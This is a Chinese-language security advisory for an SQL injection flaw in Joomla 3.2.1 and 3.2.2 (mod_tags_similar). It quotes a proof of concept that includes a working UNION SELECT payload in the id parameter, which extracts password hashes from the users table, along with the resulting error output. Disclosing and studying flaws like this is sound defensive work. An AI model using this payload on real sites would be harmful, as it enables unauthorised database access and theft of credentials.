发布日期：2014-02-06
更新日期：2014-04-02
受影响系统：
Joomla! Joomla! 3.2.2
Joomla! Joomla! 3.2.1
描述：
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Joomla!是一款开放源码的内容管理系统(CMS)。
Joomla 3.2.1及3.2.2版本modules/mod_tags_similar/helper.php脚本内的ModTagssimilarHelper::getList()方法没有正确过滤用户提供的输入，这可使远程攻击者在后端数据库内注入或操作SQL查询。
<*来源：killall-9
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# Exploit Title: Joomla 3.2.1 sql injection
# Date: 05/02/2014
# Exploit Author: kiall-9@mail.com
# Vendor Homepage:
# Software Link:
# Version: 3.2.1 (default installation with Test sample data)
# Tested on: Virtualbox (debian) + apache
POC=>
?id=\
will cause an error:
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )
I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)
Now i can easily exploit this flaw:
?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29
and obtain the hash:
1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5
CheerZ>
建议：
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厂商补丁：
Joomla!
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：